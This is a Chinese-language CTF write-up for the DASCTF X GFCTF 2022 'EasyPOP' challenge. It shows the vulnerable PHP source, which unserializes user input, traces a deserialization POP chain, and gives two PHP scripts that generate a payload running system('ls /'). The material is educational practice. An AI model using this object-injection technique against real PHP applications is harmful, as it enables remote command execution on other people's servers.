有水平的
DASCTF X GFCTF 2022十月挑战赛
1.EasyPOP
一道构造pop
链的题,拿来练习一下分析能力
做反序列构造pop
链最重要还是要会联想,从而触发方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136
| <?php highlight_file(__FILE__); error_reporting(0);
class fine { private $cmd; private $content;
public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; }
public function __invoke() { call_user_func($this->cmd, $this->content); }
public function __wakeup() { $this->cmd = ""; die("Go listen to Jay Chou's secret-code! Really nice"); } }
class show { public $ctf; public $time = "Two and a half years";
public function __construct($ctf) { $this->ctf = $ctf; }
public function __toString() { return $this->ctf->show(); }
public function show(): string { return $this->ctf . ": Duration of practice: " . $this->time; }
}
class sorry { private $name; private $password; public $hint = "hint is depend on you"; public $key;
public function __construct($name, $password) { $this->name = $name; $this->password = $password; }
public function __sleep() { $this->hint = new secret_code(); }
public function __get($name) { $name = $this->key; $name();
}
public function __destruct() { if ($this->password == $this->name) { echo $this->hint; } else if ($this->name = "jay") { secret_code::secret(); } else { echo "This is our code"; } }
public function getPassword() { return $this->password; }
public function setPassword($password): void { $this->password = $password; }
}
class secret_code { protected $code;
public static function secret() { include_once "hint.php"; hint(); }
public function __call($name, $arguments) { $num = $name; $this->$num(); }
private function show() { return $this->code->secret;
} }
if (isset($_GET['pop'])) { $a = unserialize($_GET['pop']); $a->setPassword(md5(mt_rand())); } else { $a = new show("Ctfer"); echo $a->show(); }
|
pop链的构造
切入口 sorry类的析构函数,突破口fine类的__invoke函数中的call_user_func函数
sorry.__destruct -> show.__toString
->
secret.show()
->
sorry.__get() -> fine.__invoke()
->
call_user_func函数
#call_user_func(a,b) — 把第一个参数作为回调函数调用, 其余参数是回调函数的参数
#也就是把a当作函数,把b当作传入a函数的参数【如call_user_func(assert,phpinfo()),就会执行代码phpinfo()】
所以payload
为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <?php class fine { public $cmd; public $content; } class show { public $ctf; public $time = "Two and a half years"; } class sorry { public $name; public $password; public $hint = "hint is depend on you"; public $key; }
class secret_code { public $code; } $Fine = new fine(); $Show = new show(); $Sorry = new sorry(); $Sorry2 = new sorry();
$Secret = new secret_code();
$Sorry->name = 'cc'; $Sorry->password = 'cc'; $Sorry->hint = $Show; $Show->ctf = $Secret; $Secret->code = $Sorry2;
$Sorry2->name = 'cc'; $Sorry2->password = 'cc'; $Sorry2->key = $Fine; $Fine->cmd = 'system'; $Fine->content = 'ls /'; $a = serialize($Sorry); echo $a ?>
|
补充:另一种写法,一定要url
编码,因为里边有不可见字符。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <?php class fine { private $cmd; private $content; public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; } } class show { public $ctf; public $time = "Two and a half years"; public function __construct($ctf, $time) { $this->ctf = $ctf; $this->time = $time; } } class sorry { private $name; private $password; public $hint = "hint is depend on you"; public $key; public function __construct($name, $password,$hint,$key) { $this->name = $name; $this->password = $password; $this->hint = $hint; $this->key = $key; } } class secret_code { protected $code; public function __construct($code) { $this->code = $code; } } $Sorry= new sorry('cc','cc',new show(new secret_code(new sorry('cc','cc','cc',new fine('system','ls'))),'cc'),'cc');
$c = serialize($Sorry); echo urlencode($c); ?>
|